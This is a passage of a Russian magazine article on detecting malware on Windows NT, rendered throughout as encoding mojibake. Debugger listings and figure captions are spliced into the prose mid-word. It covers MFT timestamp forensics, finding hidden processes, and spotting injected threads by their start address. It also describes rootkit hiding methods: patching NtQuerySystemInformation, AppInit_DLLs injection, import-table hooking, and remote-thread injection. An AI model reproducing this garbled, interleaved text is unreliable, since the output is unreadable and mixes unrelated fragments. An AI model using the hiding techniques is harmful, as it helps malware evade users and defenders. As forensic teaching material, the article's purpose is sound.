ïîñëåäíèõ äíåé (â íàøåì ñëó÷àå çà îäèí). Âñå èç-
ìåíåíèÿ, ïðîèçîøåäøèå çà ïîñëåäíèå ñóòêè â ñè-
ñòåìå, ñòàíîâÿòñÿ âèäíû êàê íà ëàäîíè. Êàê âàðè-
àíò: â FAR'å óñòàíàâëèâàåøü ðåæèì ñîðòèðîâêè
ïî äàòå ñîçäàíèÿ (<CTRL-F8>) è çàõîäèøü âî âñå
«çëà÷íûå» êàòàëîãè òèïà WINNT, System32 è ò.ä.
Ïðèåì ïðîñòîé, êàê ïàðîâîé êîòåë, íî ÷ðåçâû÷àé-
íî ýôôåêòèâíûé!

Êîíå÷íî, ÷åì ïîçæå òû ñïîõâàòèøüñÿ, òåì
ñëîæíåå áóäåò îòëè÷èòü «ëåãàëüíûå» ôàéëû îò
«íåëåãàëüíûõ», îñîáåííî åñëè íà êîìïüþòåð ñòà-
âèòñÿ áîëüøîå êîëè÷åñòâî ñàìîãî ðàçíîîáðàçíîãî
ïðîãðàììíîãî îáåñïå÷åíèÿ. Íî âñå ôàéëû, óñòàíà-
âëèâàåìûå èíñòàëëÿòîðîì (ãäå áû îí èõ íå ðàçìå-
ùàë, â Program Files, WINNT èëè System32), èìåþò
îäíó è òó æå äàòó ñîçäàíèÿ ñ íåáîëüøèì ðàçáðî-
ñîì âî âðåìåíè (âåäü ôàéëû ñîçäàþòñÿ íå ïàðàë-
ëåëüíî, à ïîñëåäîâàòåëüíî), ïîýòîìó èõ ñòðàçó
ìîæíî èñêëþ÷èòü èç ñïèñêà ïîäîçðåâàåìûõ. À
îñòàâøèåñÿ — ïîäâåðãíóòü òùàòåëüíîìó äîïðîñó.

Åñòåñòâåííî, äàòà ñîçäàíèÿ ôàéëà ýëåìåí-
òàðíî èçìåíÿåòñÿ ñðåäñòâàìè win32-API, è ìàëâà-
ðè, ïðè æåëàíèè, íè÷åãî íå ñòîèò çàìàñêèðîâàòü-
ñÿ. Îäíàêî íà NTFS-ðàçäåëàõ êàæäûé ôàéë îáëà-
äàåò ìíîæåñòâîì «íåâèäèìûõ» àòðèáóòîâ, äî êî-
òîðûõ íåëüçÿ äîòÿíóòüñÿ ÷åðåç API. Â ÷àñòíîñòè,
àòðèáóò 30h ($FILE_NAME) ïîìèìî ñòàíäàðòíûõ
âðåìåí ñîçäàíèÿ/ìîäèôèêàöèè/ïîñëåäíåãî îáðà-
ùåíèÿ õðàíèò âðåìÿ ïîñëåäíåé ìîäèôèêàöèè
äàííîé çàïèñè MFT (Master File Table – ñïåöèàëü-
íîãî ìàñòåðôàéëà, ñîäåðæàùåãî èíôîðìàöèþ
îáî âñåõ îñòàëüíûõ îáúåêòàõ ôàéëîâîé ñèñòåìû).
Ó «÷åñòíûõ» ôàéëîâ âðåìÿ ñîçäàíèÿ è âðåìÿ ïî-
ñëåäíåé ìîäèôèêàöèè MFT âñåãäà ñîâïàäàåò, à
åñëè ýòî íå òàê — ïåðåä òîáîé ïîääåëêà. Åùå ñó-
ùåñòâóåò àòðèáóò 10h ($STANDARD_INFORMATI-
ON), òàê æå õðàíÿùèé èíôîðìàöèþ î âðåìåíè
ñîçäàíèÿ/ìîäèôèêàöèè/ïîñëåäíåãî äîñòóïà ôàé-
ëà è âðåìåíè ïîñëåäíåé ìîäèôèêàöèè MFT, îäíà-
êî, â îòëè÷èå îò àòðèáóòà 30h, çäåñü âðåìÿ ïî-
ñëåäíåé ìîäèôèêàöèè MFT àâòîìàòè÷åñêè îáíî-
âëÿåòñÿ âñÿêèé ðàç, êîãäà ôàéëó âûäåëÿåòñÿ íî-
âàÿ ïîðöèÿ êëàñòåðîâ, à ïîòîìó ñî âðåìåíåì åãî
ñîçäàíèÿ îíî ìîæåò è íå ñîâïàäàòü.

Ñóùåñòâóåò íå òàê óæ ìíîãî óòèëèò, îòîáðà-
æàþùèõ ñîäåðæèìîå MFT â óäîáî÷èòàåìîì âèäå.
Îäíà èç íèõ — NtExplorer îò Runtime Software. Ãðó-

èíôîðìàöèÿ î ïîòîêàõ â soft-ice (â ñîêðàùåííîì âèäå)

:THREAD -x

Extended Thread Info for thread 374

KTEB 873CFDA0 TID: 374 Process: va_thread(11C)

Start EIP: KERNEL32!SetUnhandledExceptionFilter+001A (77E878C1)

User Stack: 00030000 — 00130000 Stack Ptr: 0012FD24

Extended Thread Info for thread 238

KTEB: 82007020 TID: 238 Process: va_thread(11C)

Start EIP: KERNEL32!CreateFileA+00C3 (77E92C50)

User Stack: 00420000 — 00520000 Stack Ptr: FFFFFFFF

Extended Thread Info for thread 30C

KTEB: 82007AC0 TID: 30C Process: va_thread(11C)

Start EIP: KERNEL32!CreateFileA+00C3 (77E92C50)

User Stack: 00530000 — 00630000 Stack Ptr: FFFFFFFF

èíôîðìàöèÿ î ÷åòûðåõ ïîòîêàõ, âûäàííàÿ OllyDbg

Ident Entry Data block Last error Status Priority

050C 7943B700 7FFDB000 ERROR_SUCCESS Active 32 + 0

0558 00000000 7FFDC000 ERROR_SUCCESS Suspended 32 + 0

055C 00000000 7FFDE000 ERROR_SUCCESS Suspended 32 + 0

0578 00000000 7FFDD000 ERROR_SUCCESS Suspended 32 + 0

êîä ïîòîêà 558h, íàõîäÿùåãîñÿ â ïðåäåëàõ ñòðàíè÷íîãî èìèäæà

401000 55 PUSH EBP

401001 8B EC MOV EBP,ESP

401003 B8 01000000 MOV EAX,1

401008 85C0 TEST EAX,EAX

40100A 74 02 JE SHORT va_threa.0040100E

40100C EB F5 JMP SHORT va_threa.00401003

íà äíå ïîëüçîâàòåëüñêîãî ñòåêà ïîòîêà 55Ch ëåæèò ñòàðòîâûé àäðåñ âìåñòå 

ñ ïåðåäàííûì åìó àðãóìåíòîì

62FFDC FFFFFFFF End of SEH chain

62FFE0 79481F54 SE handler

62FFE4 79432B08 KERNEL32.79432B08

62FFE8 00000000

62FFEC 00000000

62FFF0 00000000

62FFF4 00520000 ; ñòàðòîâûé àäðåñ ïîòîêà 55Ñh

62FFF8 00000666 ; àðãóìåíò, ïåðåäàííûé ïîòîêó

62FFFC 00000000 ; äíî ïîëüçîâàòåëüñêîãî ñòåêà ïîòîêà

êàðòà ïàìÿòè ïðîöåññà va_thread

Address Size Owner Section Contains Type Access Initial

400000 1000 va_threa PE header Imag R RWE

401000 4000 va_threa .text code Imag R RWE

405000 1000 va_threa .rdata imports Imag R RWE

406000 2000 va_threa .data data Imag R RWE

410000 2000 Map R R

51E000 1000 Priv RW Guar RW

51F000 1000 stack of thr Priv RW Guar RW

520000 1000 Priv RWE RWE

62E000 1000 Priv RW Guar RW

(1)

(2)

(3)

(4)

(5)
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áî ãîâîðÿ, ýòî Norton Disk Editor, íî òîëüêî ïîä
NTFS. Ê ñîæàëåíèþ, NtExplorer íå ïîääåðæèâàåò
íè ïëàãèíîâ, íè ñêðèïòîâ, ïîýòîìó áûñòðî âûâå-
ñòè ñïèñîê ôàéëîâ ñ ïîääåëüíûìè äàòàìè ñîçäà-
íèÿ íå ïîëó÷àåòñÿ è êàæäûé èç íèõ ïðèõîäèòñÿ ïå-
ðåáèðàòü «ðóêàìè». Íî NTFS ñîâñåì íåñëîæíàÿ
(ïî íûíåøíèì ìåðêàì) ôàéëîâàÿ ñèñòåìà, à âñå
åå îñíîâíûå ñòðóêòóðû äàâíûì-äàâíî ðåêîíñòðóè-
ðîâàíû, äîêóìåíòèðîâàíû è âûëîæåíû â Ñåòü:
http://linux-ntfs.sourceforge.net. Ñîçäàíèå ïðîãðàììû,
âûïîëíÿþùåé àâòîìàòèçèðîâàííûé ïîèñê «ïîä-
äåëüíûõ» ôàéëîâ, íå çàéìåò ìíîãî âðåìåíè. Äî-
ðîãó îñèëèò èäóùèé!

äåðåâî ïïðîöåññîâ. Îáû÷íî ìàëâàðü ñîçäàåò
ñâîé ñîáñòâåííûé ïðîöåññ (ðåæå — âíåäðÿåòñÿ â
÷óæèå), ïðè ýòîì âîçíèêàåò âïîëíå åñòåñòâåííîå
æåëàíèå ñêðûòü ýòîò ïðîöåññ, óáðàâ åãî èç «Äèñ-
ïåò÷åðà Çàäà÷» è ïðî÷èõ ñèñòåìíûõ óòèëèò. Êàê
ýòî äåëàåòñÿ? Äëÿ ïðåäîñòàâëåíèÿ èíôîðìàöèè î
ïðîöåññàõ NT ïîääåðæèâàåò äâà ìåõàíèçìà: íà-
áîð äîêóìåíòèðîâàííûõ ïðîöåäóð TOOLHELP32
(äîñòàâøèéñÿ «â íàñëåäñòâî» îò 9x), ðåàëèçîâàí-
íûõ â KERNEL32.DLL, è íåäîêóìåíòèðîâàííóþ
ôóíêöèþ NtQuerySystemInformation (ýêñïîðòèðóå-
ìàÿ NTDLL.DLL), ïðåäñòàâëÿþùóþ ñîáîé òîíêóþ
«îáåðòêó» âîêðóã ñèñòåìíîãî ñåðâèñà 97h, ðåàëè-
çîâàííîãî â NTOSKRNL.EXE. Íà ñàìîì äåëå, ãëàâíàÿ
ôóíêöèÿ TOOLHELP32 — CreateToolhelp32Snapshot
— ïîëíîñòüþ îïèðàåòñÿ íà NtQuerySystemInforma-
tion, òàê ÷òî ôàêòè÷åñêè ìåõàíèçì ó íàñ îäèí, òîëü-
êî èíòåðôåéñû ðàçíûå.

Ìàëâàðü ìîæåò ëåãêî ïåðåõâàòèòü ïðîöåäó-
ðû Process32First/Process32Next èç TOOLHELP32,
òîëüêî ýòî íè÷åãî íå äàñò, ïîñêîëüêó ïðàêòè÷åñêè
âñå óòèëèòû («Äèñïåò÷åð Çàäà÷», FAR è äàæå ïðè-
ìèòèâíûé tlist.exe èç SDK) ðàáîòàþò èñêëþ÷èòåëü-
íî ÷åðåç NtQuerySystemInformation (÷òî ëåãêî ïîä-
òâåðæäàåòñÿ óñòàíîâêîé òî÷êè îñòàíîâà â soft ice).
Îäíàêî ïåðåõâàòèòü NtQuerySystemInformation ñ
ïðèêëàäíîãî óðîâíÿ íè÷óòü íå ñëîæíåå, ÷åì ïðî-
öåäóðû èç íàáîðà TOOLHELP32. Ñóùåñòâóåò íåñ-
êîëüêî ñïîñîáîâ, ñäåëàòü ýòî:

1 ÌÎÄÈÔÈÖÈÐÎÂÀÒÜ NTDLL.DLL ÍÀ ÄÈÑ-
ÊÅ, ÓÑÒÀÍÎÂÈÂ Â ÍÀ×ÀËÎ ÔÓÍÊÖÈÈ
NTQUERYSYSTEMINFORMATION ÊÎÌÀÍ-
ÄÓ ÏÅÐÅÕÎÄÀ ÍÀ ÑÂÎÉ ÎÁÐÀÁÎÒ×ÈÊ
(ÐÀÑÏÎËÎÆÅÍÍÛÉ ÃÄÅ-ÍÈÁÓÄÜ Â ÑÂÎ-
ÁÎÄÍÎÌ ÌÅÑÒÅ ÂÍÓÒÐÈ NTDLL.DLL),
«ÂÛ×ÈÙÀÞÙÈÉ» ÈÇ ÂÛÄÀÂÀÅÌÎÉ ÅÞ
ÈÍÔÎÐÌÀÖÈÈ ÂÑßÊÎÅ ÓÏÎÌÈÍÀÍÈÅ 
Î ÑÅÁÅ. ÑÏÎÑÎÁ ÏÐÎÑÒÎÉ ÊÀÊ ÁÀÐÀ-
ÁÀÍ, ÍÎ ÃÐßÇÍÛÉ È ËÅÃÊÎ ÎÁÍÀÐÓÆÈ-
ÂÀÅÌÛÉ ÏÓÒÅÌ ÄÈÇÀÑÑÅÌÁËÈÐÎÂÀ-
ÍÈß NTDLL.DLL ÈËÈ ÑÐÀÂÍÅÍÈÅÌ ÅÅ 
Ñ ÎÐÈÃÈÍÀËÎÌ. ÒÀÊ ÆÅ ÌÀËÂÀÐÈ ÏÐÈ-
ÄÅÒÑß ÏÐÎÒÈÂÎÑÒÎßÒÜ SFC È ÓÑÒÀ-
ÍÎÂÊÅ SERVICEPACK'ÎÂ, ÍÅÊÎÒÎÐÛÅ
ÈÇ ÊÎÒÎÐÛÕ ÎÁÍÎÂËßÞÒ NTDLL.DLL.

2 ÌÎÄÈÔÈÖÈÐÎÂÀÒÜ NTDLL.DLL!NTQUE-

RYSYSTEMINFORMATION Â ÏÀÌßÒÈ. ÏÎ-

ÑÊÎËÜÊÓ NT ÏÎÄÄÅÐÆÈÂÀÅÒ ÌÅÕÀ-

ÍÈÇÌ COPY-ON-WRITE, ÀÂÒÎÌÀÒÈ×ÅÑÊÈ

«ÐÀÑÙÅÏËßÞÙÈÉ» ÑÒÐÀÍÈÖÛ ÏÀÌßÒÈ

ÏÐÈ ÇÀÏÈÑÈ, ÌÎÄÈÔÈÊÀÖÈß NTDLL.DLL

ÏÐÈÎÁÐÅÒÀÅÒ ËÎÊÀËÜÍÛÉ ÕÀÐÀÊÒÅÐ,

ÎÃÐÀÍÈ×ÅÍÍÛÉ ÊÎÍÒÅÊÑÒÎÌ ÏÐÎÖÅÑ-

ÑÀ-ÏÈÑÀÒÅËß. ÒÎ ÅÑÒÜ, ×ÒÎÁÛ ÂÎÇÄÅÉ-

ÑÒÂÎÂÀÒÜ ÍÀ «ÄÈÑÏÅÒ×ÅÐ ÇÀÄÀ×», Â ÍÅ-

ÃÎ ÏÐÅÆÄÅ ÍÅÎÁÕÎÄÈÌÎ ÂÍÅÄÐÈÒÜÑß. 

ÂÎÒ ÎÄÈÍ ÈÇ ÂÎÇÌÎÆÍÛÕ ÑÖÅÍÀ-

ÐÈÅÂ. ÌÀËÂÀÐÜ ÑÎÇÄÀÅÒ ÑÂÎÞ DLL 

È ÏÐÎÏÈÑÛÂÀÅÒ ÅÅ Â ÑËÅÄÓÞÙÓÞ 

ÂÅÒÊÓ ÑÈÑÒÅÌÍÎÃÎ ÐÅÅÑÒÐÀ: 
HKLM\SOFTWARE\MICROSOFT\WINDOWS
NT\CURRENTVERSION\WINDOWS\APPI-
NIT_DLLS. Â ÐÅÇÓËÜÒÀÒÅ ×ÅÃÎ ÝÒÀ DLL
ÏÎÑËÅ ÁÓÄÅÒ ÎÒÎÁÐÀÆÀÒÜÑß ÍÀ ÂÑÅ
ÏÐÎÖÅÑÑÛ. ÄËß ÁÎËÜØÅÉ ÑÊÐÛÒÍÎ-
ÑÒÈ ÌÎÆÍÎ ÌÎÄÈÔÈÖÈÐÎÂÀÒÜ
NTDLL.DLL ÒÎËÜÊÎ Â ÊÎÍÒÅÊÑÒÅ ÒÅÕ
ÏÐÎÖÅÑÑÎÂ, ÊÎÒÎÐÛÅ ÈÑÏÎËÜÇÓÞÒÑß
ÄËß ÂÛÂÎÄÀ ÑÏÈÑÊÀ ÇÀÄÀ× (TASKM-
NG.EXE, FAR.EXE, TLIST.EXE È Ò. Ä.). 
Â ÝÒÎÌ ÑËÓ×ÀÅ, ÇÀÃËßÍÓÂ ÎÒËÀÄ×È-
ÊÎÌ ÂÍÓÒÐÜ NTQUERYSYSTEMINFORMA-
TION, ÌÛ ÍÅ ÍÀÉÄÅÌ ÍÈÊÀÊÈÕ ÑËÅÄÎÂ
ÌÀËÂÀÐÈ. ÌÎÆÍÎ, ÊÎÍÅ×ÍÎ, ÏÐÎÂÅ-
ÐÈÒÜ APPINIT_DLLS, ÍÎ ÝÒÎ ÍÅ ÅÄÈÍ-
ÑÒÂÅÍÍÛÉ ÑÏÎÑÎÁ ÂÍÅÄÐÅÍÈß, ÒÀÊ
×ÒÎ ÇÀÄÀ×À ÂÛßÂËÅÍÈß ÌÀËÂÀÐÈ ÐÅÇ-
ÊÎ ÓÑËÎÆÍßÅÒÑß.

3 ÌÎÄÈÔÈÖÈÐÎÂÀÒÜ ÒÀÁËÈÖÓ ÈÌÏÎÐ-
ÒÀ TASKMNG.EXE («ÄÈÑÏÅÒ×ÅÐ ÇÀÄÀ×»),
PROCLIST.DLL (ÏËÀÃÈÍ FAR'À, ÎÒÂÅÒ-
ÑÒÂÅÍÍÛÉ ÇÀ ÂÛÂÎÄ ÑÏÈÑÊÀ ÏÐÎÖÅÑ-
ÑÎÂ), TLIST.EXE ÍÀ ÄÈÑÊÅ (ÈËÈ Â ÏÀÌß-
ÒÈ), ÏÎÄÌÅÍÈÂ ÂÛÇÎÂÎÂ NTQUERYSY-
STEMINFORMATION ÑÂÎÅÉ ÑÎÁÑÒÂÅÍ-
ÍÎÉ ÔÓÍÊÖÈÉ ÎÁÅÐÒÊÎÉ. ÒÀÊÎÉ ÏÅ-
ÐÅÕÂÀÒ ËÅÃÊÎ ÎÁÍÀÐÓÆÈÂÀÅÒÑß ÏÓ-
ÒÅÌ ÑÐÀÂÍÅÍÈß ÈÑÏÎËÍßÅÌÛÕ ÔÀÉ-
ËÎÂ Ñ ÈÕ ÎÁÐÀÇÎÌ ÏÀÌßÒÈ, ÊÎÒÎÐÛÉ
ÌÎÆÅÒ ÁÛÒÜ ÏÎËÓ×ÅÍ ÏÓÒÅÌ ÑÍßÒÈß
ÄÀÌÏÀ ÓÒÈËÈÒÎÉ ÒÈÏÀ PE TOOLS ÈËÈ
ÑÒÀÐÛÌ ÄÎÁÐÛÌ PROCDUMP'ÎÌ. Ê ÒÎ-
ÌÓ ÆÅ ÌÀËÂÀÐÈ ÏÐÈÄÅÒÑß ÄÎÏÎËÍÈ-
ÒÅËÜÍÎ ÏÅÐÅÕÂÀÒÛÂÀÒÜ GETPROCAD-
DRESS, ×ÒÎÁÛ ÎÒÑËÅÆÈÂÀÒÜ ÄÈÍÀÌÈ-
×ÅÑÊÓÞ ÇÀÃÐÓÇÊÓ NTDLL.DLL.

Ïðè íàëè÷èè ïðàâ àäìèíèñòðàòîðà, ìàëâàðü ìî-
æåò ïðîíèêíóòü â NTOSKRNL.EXE è ïîäìåíèòü
ñåðâèñ 97h ñâîèì ñîáñòâåííûì îáðàáîò÷èêîì. Òîã-
äà ñ ïðèêëàäíîãî óðîâíÿ îáíàðóæèòü çëîâðåäíûé
ïðîöåññ óæå íå óäàñòñÿ è ïðèäåòñÿ ñïóñêàòüñÿ íà
óðîâåíü ÿäðà (ïîäðîáíî ðàññìîòðåíî â ðàçäåëå
«âîññòàíîâëåíèå SST»).

À âîò Soft-Ice íå èñïîëüçóåò NtQuerySyste-
mInformation è äëÿ îòîáðàæåíèÿ ñïèñêà ïðîöåññîâ
ñàìîñòîÿòåëüíî ðàçáèðàåò áàçîâûå ñòðóêòóðû
îïåðàöèîííîé ñèñòåìû, à ïîòîìó ëåãêî âûÿâëÿåò
ñêðûòûå ïðîöåññû. 

Òåîðåòè÷åñêè, ìàëâàðü ìîæåò âíåäðèòüñÿ â
soft-ice è ïåðåõâàòèòü ëþáóþ èç åãî êîìàíä (íà-
ïðèìåð, êîìàíäó «PROC»), äåéñòâóÿ ïî òîé æå
ñõåìå, ÷òî è IceExt/IceDump (áëàãî, ÷òî îáå óòèëè-
òû ðàñïðîñòðàíÿþòñÿ â èñõîäíûõ òåêñòàõ). Íî â
æèâîé ïðèðîäå òàêèå «ìîíñòðû» ïîêà ÷òî íå
âñòðå÷àëèñü. Ìîæíî íàäåÿòüñÿ, ÷òî IceExt, ñêðû-
âàþùèé soft-ice îò áîëüøèíñòâà çàùèò, ñêðîåò åãî
è îò ìàëâàðè, îäíàêî, ïðè ýòîì îñòàåòñÿ óãðîçà
ñèãíàòóðíîãî ïîèñêà îòëàä÷èêà â ïàìÿòè. Ê òîìó

Ïîèñê ôàéëîâ, ñîçäàííûõ çà ïîñëåäíåå âðåìÿ, 
ñ ïîìîùüþ øòàòíûõ ñðåäñòâ Windows 
(âèäèì ôàéë hldrrr.exe, «îêîïàâøèéñÿ» â êàòàëîãå
C:\WINNT\system32)

Èññëåäîâàíèå äàòû ñîçäàíèÿ ôàéëîâ ïðè 
ïîìîùè FAR'à

Îáíàðóæåíèå ôàéëà ñ ïîääåëüíûì âðåìåíåì 
ñîçäàíèÿ ïðè ïîìîùè Runtime NtExplorer 
(FAR óòâåðæäàåò, ÷òî ôàéë ñîçäàí 07.05.2004, 
â òî âðåìÿ êàê ñîîòâåòñòâóþùàÿ åìó çàïèñü â MFT
ìîäèôèöèðîâàëàñü 18.07.2006)



æå íà õàêåðñêèõ ôîðóìàõ íå ïåðâûé ãîä îáñóæäà-
åòñÿ ãèïîòåòè÷åñêèé àëãîðèòì ñêðûòèÿ, ïåðåõâà-
òûâàþùèé ôóíêöèè ïåðåêëþ÷åíèÿ êîíòåêñòà è
«âûòèðàþùèé» ñåáÿ â ïðîìåæóòêàõ ìåæäó íèìè.
Íî ðåàëèçàöèÿ òàêîãî ïðîåêòà óïèðàåòñÿ â íåïðå-
îäîëèìûå ïðàêòè÷åñêèå òðóäíîñòè. Ôîðìàò ïðî-
öåññîðíûõ ñòðóêòóð íåïîñòîÿíåí è ìåíÿåòñÿ îò îä-
íîé âåðñèè ñèñòåìû ê äðóãîé, ê òîìó æå ñ íèìè
âçàèìîäåéñòâóåò ìíîæåñòâî íåäîêóìåíòèðîâàí-
íûõ ôóíêöèé, âûçûâàåìûõ â ðàçíîå âðåìÿ èç ðàç-
ëè÷íûõ ìåñò. È ìàëâàðü, ïûòàþùàÿñÿ çàìàñêèðî-
âàòüñÿ, ïîñòîÿííî îáðóøèâàåò ñèñòåìó â BSOD,
÷åì ñðàçó ñåáÿ è ðàçîáëà÷àåò...

Áóäåì ñ÷èòàòü, ÷òî ñâÿçêè «soft-ice + IceExt»
äëÿ ïðîñìîòðà âñåõ ïðîöåññîâ (âêëþ÷àÿ ñêðûòûå)
âïîëíå äîñòàòî÷íî.

äîïðîñ ïïîòîêîâ. Â ïîñëåäíåå âðåìÿ âñå ÷àùå
è ÷àùå ìàëâàðü íå ñîçäàåò äëÿ ñåáÿ îòäåëüíûé
ïðîöåññ (êîòîðûé î÷åíü ëåãêî çàìåòèòü), à ïðåä-
ïî÷èòàåò âíåäðÿòüñÿ â îäèí èç óæå ñóùåñòâóþ-
ùèõ. Äëÿ ýòîãî èñïîëüçóþòñÿ äâà ìåõàíèçìà. Â
ïåðâîì ìàëâàðü âûäåëÿåò â öåëåâîì ïðîöåññå
áëîê ïàìÿòè ôóíêöèåé VirtualAllocEx, êîïèðóåò ñå-
áÿ ÷åðåç WriteProcessMemory è ñîçäàåò óäàëåí-
íûé ïîòîê ïîñðåäñòâîì CreateRemoteThread. Âòî-
ðîé ìåõàíèçì íà÷èíàåòñÿ òàê æå, êàê è ïåðâûé,
òîëüêî âìåñòî ñîçäàíèÿ óäàëåííîãî ïîòîêà ìàë-
âàðü îñòàíàâëèâàåò òåêóùèé ïîòîê ïðîöåññà è èç-
ìåíÿåò ðåãèñòð EIP ôóíêöèåé SetThreadContext
(åñòåñòâåííî, ïðåäâàðèòåëüíî ñîõðàíèâ åãî îðè-
ãèíàëüíîå çíà÷åíèå ÷åðåç GetThreadContext), ïå-
ðåäàâàÿ óïðàâëåíèå ñâîåé ñîáñòâåííîé ïðîöåäó-
ðå, âûçûâàþùåé CreateThread, âîññòàíàâëèâàþ-
ùåé EIP è «ðàçìîðàæèâàþùåé» ðàíåå îñòàíî-
âëåííûé ïîòîê. Ïåðâûé ìåõàíèçì ðàáîòàåò òîëü-
êî íà NT, âòîðîé — íà âñåõ 32-ðàçÿäíûõ ñèñòåìàõ
ñåìåéñòâà Windows.

Êàê îáíàðóæèòü òàêîé ìåòîä âòîðæåíèÿ?
Åñòåñòâåííî, êîëè÷åñòâî ïîòîêîâ àòàêóåìîãî ïðî-
öåññà óâåëè÷èâàåòñÿ íà åäèíèöó, îäíàêî, ýòî åùå
íå ïîêàçàòåëü. Íèêòî è íèêîãäà íå ìîæåò ñêàçàòü
òî÷íî, ñêîëüêî ó ïðèëîæåíèÿ äîëæíî áûòü ïîòî-
êîâ. Äàæå åãî íåïîñðåäñòâåííûé ðàçðàáîò÷èê!
Ïðîâåäåì ïðîñòîé ýêñïåðèìåíò. Çàïóñòè «Áëîê-
íîò» è, ïåðåêëþ÷èâøèñü íà «Äèñïåò÷åð Çàäà÷»,
óâèäèøü îäèí åäèíñòâåííûé ïîòîê. Òåïåðü çàéäè
â ìåíþ «ôàéë» è ñêàæè «îòêðûòü». Êîëè÷åñòâî
ïîòîêîâ âíåçàïíî ïîäñêàêèâàåò àæ äî ïÿòè! Çàê-
ðûâàé îêíî îòêðûòèÿ ôàéëà — îäèí ïîòîê èñ÷åçà-
åò, îñòàåòñÿ ÷åòûðå. ×òî çà åðóíäà òàêàÿ?! Îêàçû-
âàåòñÿ, âñå äåëî â äèíàìè÷åñêèõ áèáëèîòåêàõ
SHLWAPI.DLL, RPCRT4.DLL è OLE32.DLL, «îáñëó-
æèâàþùèõ» îêíî è ïîðîæäàþùèõ ñâîè ñîáñòâåí-
íûå, äî÷åðíèå ïîòîêè. Íåêîòîðûå äðàéâåðà òàê
æå ìîãóò ïîðîæäàòü ïîòîêè â ÷óæèõ ïðèëîæåíèÿõ
(êàê ïðàâèëî, ñ öåëüþ âûçîâà ïðèêëàäíûõ API). È
òåáå íåîáõîäèìî êàê-òî íàó÷èòüñÿ îòëè÷àòü «ëå-
ãàëüíûå» ïîòîêè îò «íåëåãàëüíûõ», èíà÷å áîðüáà
ñ ìàëâàðüþ îáðå÷åíà íà ïðîâàë.

Èäåÿ ïðîñòà, êàê 3-õ äþéìîâàÿ äèñêåòà.
Ñòàðòîâûé àäðåñ ëåãàëüíîãî ïîòîêà ëåæèò â ïðå-
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ïîòîê 578h õðàíèò ñâîé ñòàðòîâûé àäðåñ âî âòîðîì äâîéíîì ñëîâå

12FFE0 FFFFFFFF End of SEH chain

12FFE4 79481F54 SE handler

12FFE8 79432B18 KERNEL32.79432B18

12FFEC 00000000

12FFF0 00000000

12FFF4 00000000

12FFF8 00401405 va_threa.<ModuleEntryPoint>; ñòàðòîâûé àäðåñ ïîòîêà 578h

12FFFC 00000000 ; äíî ïîëüçîâàòåëüñêîãî ñòåêà ïîòîêà

ôóíêöèÿ ZwQuerySystemInformation â äåéñòâèòåëüíîñòè ïðåäñòàâëÿåò ñîáîé 

«ïåðåõîäíèê» ê ñèñòåìíîìó ñåðâèñó 97h

.text:77F95BBD public ZwQuerySystemInformation

.text:77F95BBD ZwQuerySystemInformation proc near

.text:77F95BBD arg_0 = byte ptr 4

.text:77F95BBD

.text:77F95BBD B8 97 00 00 00 mov eax, 97h ; NtQuerySystemInformation

.text:77F95BC2 8D 54 24 0 lea edx, [esp+arg_0]

.text:77F95BC6 CD 2E int 2Eh

.text:77F95BC8 C2 10 00 retn 10h

.text:77F95BC8 ZwQuerySystemInformation endp

ïðîòîêîë ðàáîòû ñ soft-ice, äåìîíñòðèðóþùèé ïîëó÷åíèå àäðåñà 

ñèñòåìíîãî ñåðâèñà 97h

:dd

:d KeServiceDescriptorTable

0008:8046AB80 804704D8 00000000 000000F8 804708BC ..G...........G.

:d 804704D8

0008:804704D8 804AB3BF 804AE86B 804BDEF3 8050B034 ..J.k.J...K.4.P.

0008:804704E8 804C11F4 80459214 8050C2FF 8050C33F ..L...E...P.?.P.

0008:804704F8 804B581C 80508874 8049860A 804FC7E2 .XK.t.P...I...O.

:u *(804704D8 + 97*4)

ntoskrnl!NtQuerySystemInformation

0023:804BF933 PUSH EBP

0023:804BF934 MOV EBP, ESP

0023:804BF936 PUSH FF

0023:804BF938 PUSH 804043A0

0023:804BF93D PUSH ntoskrnl!_except_handler3

êîïèÿ òàáëèöû ñèñòåìíûõ âûçîâîâ, õðàíÿùàÿñÿ âíóòðè NTOSKRNL.EXE

.data:004704D8 BF B3 4A 00 _KiServiceTable dd offset _NtAcceptConnectPort@24

.data:004704DC 6B E8 4A 00 dd offset _NtAccessCheck@32

.data:004704E0 F3 DE 4B 00 dd offset _NtAccessCheckAndAuditAlarm@44

íåèíèöèàëèçèðîâàííàÿ SDT-òàáëèöà, õðàíÿùàÿñÿ â NTOSKRNL.EXE

.data:0046AB80 ; Exported entry 516. KeServiceDescriptorTable

.data:0046AB80 public _KeServiceDescriptorTable

.data:0046AB80 _KeServiceDescriptorTable dd 0

ïðîñìîòð IDT â soft-ice

:IDT

Int Type Sel:Offset Attributes Symbol/Owner

IDTbase=80036400 Limit=07FF

0000 IntG32 0008:804625E6 DPL=0 P ntoskrnl!Kei386EoiHelper+0590

0001 IntG32 0008:80462736 DPL=3 P ntoskrnl!Kei386EoiHelper+06E0

0002 IntG32 0008:0000144E DPL=0 P

0003 IntG32 0008:80462A0E DPL=3 P ntoskrnl!Kei386EoiHelper+09B8

(6)

(7)

(8)

(9)

(10)

(11)



äåëàõ ñòðàíè÷íîãî èìèäæà (â ñåêöèè .code è .text),
à íåëåãàëüíîãî — â êó÷å, òî åñòü â îáëàñòè äèíàìè-
÷åñêîé ïàìÿòè, âûäåëåííîé ôóíêöèåé VirtualAllo-
cEx. ×òîáû ðàçîáëà÷èòü íåëåãàëîâ, ïðåæäå âñåãî
ïîíàäîáèòñÿ êàðòà àäðåñíîãî ïðîñòðàíñòâà. Soft-
ice îòîáðàæàåò åå íå â ñàìîì íàãëÿäíîì âèäå, è
ëó÷øå âîñïîëüçîâàòüñÿ OllyDbg èëè PE-TOOLS.

Â OllyDbg â ìåíþ «file» âûáèðàåøü «attach» è
óêàçûâàåøü ïðîöåññ, ÷üè ïîòîêè áóäåøü èññëåäî-
âàòü. Ïîñëå óñïåøíîãî ïðèñîåäèíåíèÿ ê ïðîöåññó
ãîâîðèøü «view» «memory» èëè äàâèøü <ALT-M>.
Ïîëó÷àåøü êàðòó.

Ðåãèîíû, ïîìå÷åííûå êàê «Priv» (ñîêðàùå-
íèå îò «private»), ïðèíàäëåæàò áëîêàì äèíàìè÷å-
ñêîé ïàìÿòè, «map» (ñîêðàùåíèå îò «mapping») —
ïðîåêöèÿì ôàéëîâ, ñîçäàííûõ ôóíêöèÿìè Create-
FileMapping/MapViewOfFile, «Imag» (ñîêðàùåíèå
îò «imaging») — ñòðàíè÷íûì èìèäæàì èñïîëíÿå-
